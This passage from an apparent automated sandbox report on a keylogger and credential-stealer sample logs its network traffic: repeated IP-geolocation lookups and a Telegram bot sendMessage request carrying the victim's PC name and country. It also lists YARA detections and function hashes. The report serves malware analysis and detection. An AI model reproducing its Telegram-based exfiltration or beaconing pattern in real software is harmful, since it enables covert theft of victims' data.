41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49869	188.114.97.3	443	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:33:15 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-08 15:33:15 UTC	857	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:15 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1665184 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xseOc%2BExu9VWlIqNC4BkfhVRBxxKayZRsv6WpPR1LuyA6ntkw5kUoucgigX%2BWrSkU3YyUJ6P4MvRLCoAu4cPWVvnQ1N1nH6umwgRK6W%2F9Kc3agb41XteLtjQsC4NtbqbxhpDAnlr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed3eb15ebe43fb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13019&min_rtt=1806&rtt_var=7482&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1616832&cwnd=180&unsent_bytes=0&cid=5fa79eb059748c88&ts=159&x=0"
2025-01-08 15:33:15 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49880	188.114.97.3	443	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:33:16 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-08 15:33:16 UTC	853	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:16 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1665185 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ISkDnimC6B%2F7CfJvNOCakNAXEwZpA1hmprMU0DfVCCjt28HQaB9ZFbvbz0oMzSDUsDMzEPz6cU38KVLw9872L140%2FZmJRaHO86wvh7B6LnbvY7eWWEmwI0tmTSchFlAvTk4wXVZH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed3eba4b0d7d1c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2019&min_rtt=1969&rtt_var=839&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1229991&cwnd=157&unsent_bytes=0&cid=e888079326a94462&ts=161&x=0"
2025-01-08 15:33:16 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49892	188.114.97.3	443	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:33:17 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-08 15:33:18 UTC	854	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:18 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1665187 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=29cbVUb5FOia0zH9JLmNC9ZME5xr60Hedv%2BWKtTHg%2BfC8aiqYUimNzI0wRwHfyRPBlaf3WyrGi1OF4RjEiC0pOS6WfdFVl1odZFsEKcV3uiURzHrBYFpoLXZTPSptO%2FSmx0bm0cs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed3ec39b13f5f4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1666&min_rtt=1666&rtt_var=833&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4236&recv_bytes=699&delivery_rate=108052&cwnd=103&unsent_bytes=0&cid=a1b1aa9c987ce2a6&ts=185&x=0"
2025-01-08 15:33:18 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49904	188.114.97.3	443	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:33:19 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-08 15:33:19 UTC	861	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:19 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1665188 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gssEtJxRtycUxMSfrV0AchmaL%2Fw6M6b5PkbI%2B%2BHnSx81qv0cvkSjTvbCo%2B7lE9nGCJ6NPYI0RsGr891REiau6FSt%2BSRRlJlKtFMeI58KJim1hYFgp08jipzTLmOsRvCCPr5d4m%2FV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed3ecc889c0f84-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1663&min_rtt=1628&rtt_var=636&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1793611&cwnd=244&unsent_bytes=0&cid=c073b655a24c6c81&ts=176&x=0"
2025-01-08 15:33:19 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49915	188.114.97.3	443	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:33:20 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-08 15:33:20 UTC	855	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:33:20 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1665190 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nqXrTgDy5Fn06lsS9nLWezohY7GJ3eQuB0Vcaun5VDanWyoIRJ6edZilMYoKSccWZNHUCbzWCmjenxHpB5FsXGOaBfFDsgV3RrQx%2FX3VW50dSV%2FQ1XPezMhq47x6h73BoAOc0n7%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed3ed5cf9119a1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2035&min_rtt=2031&rtt_var=770&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1413359&cwnd=118&unsent_bytes=0&cid=9121fc298a5cc52b&ts=154&x=0"
2025-01-08 15:33:20 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49920	149.154.167.220	443	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:33:21 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:724536%0D%0ADate%20and%20Time:%2009/01/2025%20/%2000:36:30%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20724536%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2025-01-08 15:33:21 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 08 Jan 2025 15:33:21 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-08 15:33:21 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	10:31:54
Start date:	08/01/2025
Path:	C:\Users\user\Desktop\pbCN4g6sN5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\pbCN4g6sN5.exe"
Imagebase:	0xa20000
File size:	816'128 bytes
MD5 hash:	7D88E5BAD194E89ADA135543169DA996
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000000.00000002.2383848177.0000000004B30000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000000.00000002.2376499978.0000000002551000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:32:33
Start date:	08/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xa60000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000005.00000002.2903836633.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2903836633.0000000002EC7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	5.2%
Total number of Nodes:	324
Total number of Limit Nodes:	14

Executed Functions

Function 05A1DBE8 Relevance: 11.0, Strings: 8, Instructions: 967
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hmq, xrefs: 05A1E69A
PHiq, xrefs: 05A1DD89
Hmq, xrefs: 05A1E05A
(mq, xrefs: 05A1DDB5
Hmq, xrefs: 05A1E0B9
Hmq, xrefs: 05A1E47C
Hmq, xrefs: 05A1E4DB
Hmq, xrefs: 05A1E278

Memory Dump Source

Source File: 00000000.00000002.2385320229.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a10000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: (mq$Hmq$Hmq$Hmq$Hmq$Hmq$Hmq$PHiq
API String ID: 0-1751368234
Opcode ID: d50a7bdbd1f8c089c972b7d4c6fda3f8f1e3b6481f63f6532f33fedc9ed6b144
Instruction ID: d982aa030a22faf97b1de5dbdb79aa96ef711b8747c23c339c8112ea7f3b9641
Opcode Fuzzy Hash: d50a7bdbd1f8c089c972b7d4c6fda3f8f1e3b6481f63f6532f33fedc9ed6b144
Instruction Fuzzy Hash: 86628D317006148FCB58EB78C854B6E7BA7AFC8310F248569E81ADB3A5CE34DD468795

Function 00A17BD0 Relevance: 6.7, Strings: 5, Instructions: 469
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(oiq, xrefs: 00A17E28
(oiq, xrefs: 00A18145
,mq, xrefs: 00A17E92
(oiq, xrefs: 00A17E1A
,mq, xrefs: 00A17EA0

Memory Dump Source

Source File: 00000000.00000002.2376261436.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: (oiq$(oiq$(oiq$,mq$,mq
API String ID: 0-2328226788
Opcode ID: 23bc6c8cb192522e0c03b23f8b856f883475cc7a9e379c319c6e2e3b0bd37949
Instruction ID: a8d12c8214902ea1d98e255436b054c28831f38e30f9122300ea3bdd54d29524
Opcode Fuzzy Hash: 23bc6c8cb192522e0c03b23f8b856f883475cc7a9e379c319c6e2e3b0bd37949
Instruction Fuzzy Hash: 10124F71A04209DFDB14CF69D984AEEBBF6FF88300F158069E415AB261DB35ED86CB50

Function 07643433 Relevance: 5.5, Instructions: 5534
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f4ecd94ff4d953450869266e95cc3647e72012635f4e4d4e93566047f03ba6f
Instruction ID: ce296de81b05e5f2a5d4b861c96f2794a3aafbd98953e5c6ae2a3a12939a91f2
Opcode Fuzzy Hash: 5f4ecd94ff4d953450869266e95cc3647e72012635f4e4d4e93566047f03ba6f
Instruction Fuzzy Hash: 9FB30870A11218CFCB59EF78D9996ADBBF2EB89300F4044E9D449A7258DF386D84DF81

Function 07643448 Relevance: 5.5, Instructions: 5524
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 373ef56e3c0652b08941faf32aa5456a58858273a1d5885cfdcb5b883f54248b
Instruction ID: 72795897c40cb79d59d3ab1d0b6754f518709b1aec62ae2402be254e8ceb8e67
Opcode Fuzzy Hash: 373ef56e3c0652b08941faf32aa5456a58858273a1d5885cfdcb5b883f54248b
Instruction Fuzzy Hash: B6B30870A11218CFCB59EF78D9996ADBBF2EB89300F4044E9D449A7258DF386D84DF81

Function 06D02100 Relevance: 5.2, Instructions: 5246
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2385866228.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9ecc78f29d8c6d079a760fc2870b1d58244cdbbc5af3043087c20a90c512bbc
Instruction ID: 0e87a7a31b3c0bd93027734b20b40144b8b589a0b5a818d817529955ac499c91
Opcode Fuzzy Hash: b9ecc78f29d8c6d079a760fc2870b1d58244cdbbc5af3043087c20a90c512bbc
Instruction Fuzzy Hash: 30B30B70A112188BDB54EF78EA586ACBBF2FB89300F4085EAD488A7358DF345D84DF55

Function 08EAB6F8 Relevance: 5.2, Strings: 4, Instructions: 190
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

"*p, xrefs: 08EAB847
"*p, xrefs: 08EAB830
e\1, xrefs: 08EAB7E5
e\1, xrefs: 08EAB7EC

Memory Dump Source

Source File: 00000000.00000002.2387833181.0000000008EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ea0000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: e\1$e\1$"*p$"*p
API String ID: 0-1513742261
Opcode ID: 74a1aa537b6901133b4135e631d6c27e65d13028f83998c6e7190212ffc45a02
Instruction ID: 2b4bd45503273d2f7793e758e51cf16380e194ca2db3b03537a1c966aef25d8e
Opcode Fuzzy Hash: 74a1aa537b6901133b4135e631d6c27e65d13028f83998c6e7190212ffc45a02
Instruction Fuzzy Hash: 0E8113B4D01219CFCB04CFA5D9846EEBBF2BF88351F20A52AD416BB254DB745A02CF54

Function 077F3AE4 Relevance: 4.6, Strings: 1, Instructions: 3324COMMON

Download Yara Rule

Strings

T@, xrefs: 077F3AE4

Memory Dump Source

Source File: 00000000.00000002.2387368395.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77f0000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: T@
API String ID: 0-1813571376
Opcode ID: 1af94d1d62130db9cdc7cb9111dc342710c2341a33a5ee02ec38fbd5c2c85e38
Instruction ID: 4a1f0b694ac5e8adb2c545d5c33bfbe45d7e8ff20927db8ce33f1cac36e0bb44
Opcode Fuzzy Hash: 1af94d1d62130db9cdc7cb9111dc342710c2341a33a5ee02ec38fbd5c2c85e38
Instruction Fuzzy Hash: EA538F70A142148FCB14FF78DA8975DBBB9EF89300F8085EAD448A7259DB386E84CF55

Function 077F7CA0 Relevance: 4.1, Strings: 2, Instructions: 1606COMMON

Download Yara Rule

Strings

G, xrefs: 077F9188
@, xrefs: 077F91A4

Memory Dump Source

Source File: 00000000.00000002.2387368395.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77f0000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: @$G
API String ID: 0-2525716807
Opcode ID: 838ee1735737dda5186fd2998f080668399996a3a1605093a40dddd2ff775462
Instruction ID: 8e8708ae847554067f1e6e21d8b8776d7576ec73974424a4d2342041f5aa10a4
Opcode Fuzzy Hash: 838ee1735737dda5186fd2998f080668399996a3a1605093a40dddd2ff775462
Instruction Fuzzy Hash: 4BD2BF30A183148FCB15BB78D95879DBBB6FF89300F4185EAD088E72A9DB386D45CB51

Function 08EA4070 Relevance: 3.9, Strings: 3, Instructions: 167COMMON

Download Yara Rule

Strings

$iq, xrefs: 08EA40F9
6f, xrefs: 08EA42D0
6f, xrefs: 08EA42C2

Memory Dump Source

Source File: 00000000.00000002.2387833181.0000000008EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ea0000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: 6f$6f$$iq
API String ID: 0-138693396
Opcode ID: 7c0735b9037cd5c51edfe32c250a28431f82f566d309237dfd85e9a59f3d340d
Instruction ID: e5218af317a5c1b4e3c194146537d5df8e801becba258b8c6f61f39a225fa661
Opcode Fuzzy Hash: 7c0735b9037cd5c51edfe32c250a28431f82f566d309237dfd85e9a59f3d340d
